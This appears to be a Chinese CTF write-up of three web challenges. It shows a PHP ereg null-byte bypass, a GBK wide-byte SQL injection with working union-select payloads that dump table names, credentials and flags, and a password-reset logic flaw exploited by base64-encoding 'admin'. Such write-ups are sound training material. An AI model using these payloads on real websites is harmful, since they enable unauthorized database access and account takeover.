1. 程式人生 > >NJU trinity 內訓WP1,web1-3

NJU trinity 內訓WP1,web1-3

好氣啊……搞密碼學的密碼學弄不會……先從web題入手吧

1. php-basic1

打開發現給出了原始碼。

view-source:
    if (isset ($_GET['nctf'])) {
        if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
            echo '必須輸入數字才行';
        else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)   
            die('Flag: '.$flag);
        else
echo '騷年,繼續努力吧啊~'; }

然後試著把網址改為:

發現輸出了“騷年,繼續努力吧”大概的意思就明白了。
要繞過的是這第一個判斷,進入第二個判斷……也就是說nctf後面第一個要是一個數,第二個要是biubiubiu.
這裡考察的是00截斷,當ereg遇到00的時候就會認為結束退出,所以我們只要用00截斷就能進入第二個判斷,payload就是:
nctf=1%00%23biubiubiu
23是#,第二個判斷讀入的是%00biubiubiu這個字串。

Flag: flag:nctf{use_00_to_jieduan}

但是值得注意的是如果用了nctf[]的payload,會導致報錯直接xjb爆出flag。這可能是因為strpos陣列越界返回值為null,!=false.

Warning: strpos() expects parameter 1 to be string, array given in web4/f5a14f5e6e3453b78cd73899bad98d53/index.php on line 10
Flag: flag:nctf{use_00_to_jieduan}

2. SQL-basic1

這是一道盲注題。準確的說是寬位元組注入。
會發現當將id=2修改為id=1時會返回這樣的東西。

your sql:select id,title from news where id = '1‘'

那這可能存在GBK寬位元組注入。

爆欄位

分別嘗試
id=-1%df’ order by 1 %23 (df後面的單引號閉合query前面的引號,%23=’#’註釋掉後面的query裡面的引號)
id=-1%df’ order by 1,2 %23
id=-1%df’ order by 1,2,3 %23<–報錯
有兩個欄位。
用union select爆出了2

id=-1%df' union select 1,2 %23

爆庫

繼續盲注爆出了一個庫
id=-1%df’ union select 1,database() %23

sae-chinalover

現在就可以隨便爆了:

爆表名

id=-1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() %23
ctf,ctf2,ctf3,ctf4,news

猜測是第一個,繼續爆欄位


id=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x637466 %23
user,pw

you know what to do.

ctf-ctf4挨個爆破。

2.1ctf

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(user,pw) from ctf %23

admin21dd715a3605b2a4053e80387116c190,md5加密。
解出來的沒有用

2.2 ctf2……沒有

2.3 ctf3……沒有

2.4 ctf4:有了

payload:

id=-1%df’ union select 1,group_concat(column_name) from information_schema.columns where table_name=0x637466 %23

id,flag
返回:
1 nctf{gbk_3sqli}
getflag
3. logic-basic1

密碼找回的邏輯bug
首先,網址的Y3RmdXNlcg%3D%3D就是base64,解出來就是Y3RmdXNlcg==
ctfuser
我們直接反過來編碼admin的base64放到地址裡面然後用burpsuite攔截

flag is:nctf{reset_password_often_have_vuln}